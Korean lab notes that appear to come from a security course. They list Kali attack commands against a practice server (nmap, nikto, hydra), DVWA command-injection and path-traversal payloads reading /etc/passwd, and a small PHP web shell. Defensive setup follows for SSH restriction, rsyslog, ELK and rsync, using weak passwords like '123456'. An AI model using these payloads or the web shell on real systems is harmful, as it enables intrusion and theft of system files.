칼리에서 서버로 공격한 리스트
기본 명령어
ping st.kr nslookup st.kr traceroute st.kr nmap -v -sS -O st.kr dnsenum st.kr nikto -host st.kr hydra -L user.txt -P passwd.txt st.kr ssh
시스템 사용자 찾기
kali > ssh 125.246.95.152 # 칼리에서 이렇게 입력하면 안된다. 칼리에 서버가 없어서. # ssh 루트 접속 가능 여부 확인 cat /etc/ssh/sshd_config # PermitRootLogin prohibit-password를 주석 해제한다.
사용자 추가
adduser word adduser dvwa adduser web1 adduser web2
이것을 만들면 cat /etc/passwd
로 저장이 된다.
Command Injection
1.1.1.1; cat /etc/passwd # 1.1.1.1로 ping을 때리고 etc/passwd 파일을 봐
File Inclusion
?page=file1.php ?page=../../../../../../../../../../../../../../etc/passwd
파일 업로드
attack.php를 업로드 한다. /hackable/uploads/attack.php?cmd=ls /hackable/uploads/attack.php?cmd=cat /etc/passwd
attack.php 코드
<?php $cmd = $_GET['cmd']; $result = system($cmd); echo "<br>"; echo "<hr>"; echo $result; ?>
SSH 접근 차단
- 열고 닫기
- 닫고 열기 > 다 닫힘
/etc/hosts.allow -> sshd : 192.168.0.3 /etc/hosts.deny -> ALL:ALL 활성화
SSH 포트 변경
nano /etc/ssh/sshd_config
rsyslog 시스템 구축
hostname > LOG # 3대 서버로부터 전송된 로그를 분석 및 저장함 nano /etc/rsyslog.conf # 서버는 포트(514)를 열고 3대 서버로부터 데이터가 전송되는 것을 기다림 module(load="imtcp") input(type="imtcp" port="514") $AllowedSender TCp,10.0.2.0/24, *.st.kr apt -y install net-tools systemctl restart rsyslog netstat -ant | grep 514
로그를 데이터베이스에 저장하기
apt -y install mariadb-server apt -y install rsyslog-mysql yes 123456 mysql use Syslog; desc SystemEvents; select * from SystemEvents; select FromHost, Message from SystemEvents limit 0, 10;
Java 및 Nginx 설치
sudo apt -y install default-jre sudo apt -y install default-jdk sudo apt -y install nginx
Elasticsearch 설치
curl -fsSL https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo gpg --dearmor -o /usr/share/keyrings/elastic.gpg echo "deb [signed-by=/usr/share/keyrings/elastic.gpg] https://artifacts.elastic.co/packages/7.x/apt stable main" | sudo tee -a /etc/apt/sources.list.d/elastic-7.x.list sudo apt update sudo apt -y install elasticsearch /etc/elasticsearch/elasticsearch.yml sudo systemctl start elasticsearch sudo systemctl enable elasticsearch curl -X GET "localhost:9200" sudo apt -y install kibana sudo systemctl start kibana sudo systemctl enable kibana apt -y install logstash
시간 동기화
ln -sf /usr/share/zoneinfo/Asia/Seoul /etc/localtime
Rsync 설정
apt -y install rsync nano /etc/rsyncd.conf # create new [backup] # target directory to copy path = /backup # hosts you allow to access hosts allow = 10.0.2.15 hosts deny = * list = true uid = root gid = root read only = false systemctl start rsync
rsyslog 설정
nano /etc/rsyslog.d/50-default.conf Target = "10.0.2.3"
Syslog rsyslog 설정
Syslog rsyslog 123456
데이터베이스 및 사용자 생성
CREATE DATABASE word; CREATE USER 'word'@'%' IDENTIFIED BY '123456'; GRANT ALL PRIVILEGES ON word.* TO 'word'@'%'; FLUSH PRIVILEGES; CREATE DATABASE dvwa; CREATE USER 'dvwa'@'%' IDENTIFIED BY '123456'; GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwa'@'%'; FLUSH PRIVILEGES; CREATE DATABASE web1; CREATE USER 'web1'@'%' IDENTIFIED BY '123456'; GRANT ALL PRIVILEGES ON web1.* TO 'web1'@'%'; FLUSH PRIVILEGES; CREATE DATABASE web2; CREATE USER 'web2'@'%' IDENTIFIED BY '123456'; GRANT ALL PRIVILEGES ON web1.* TO 'web2'@'%'; FLUSH PRIVILEGES;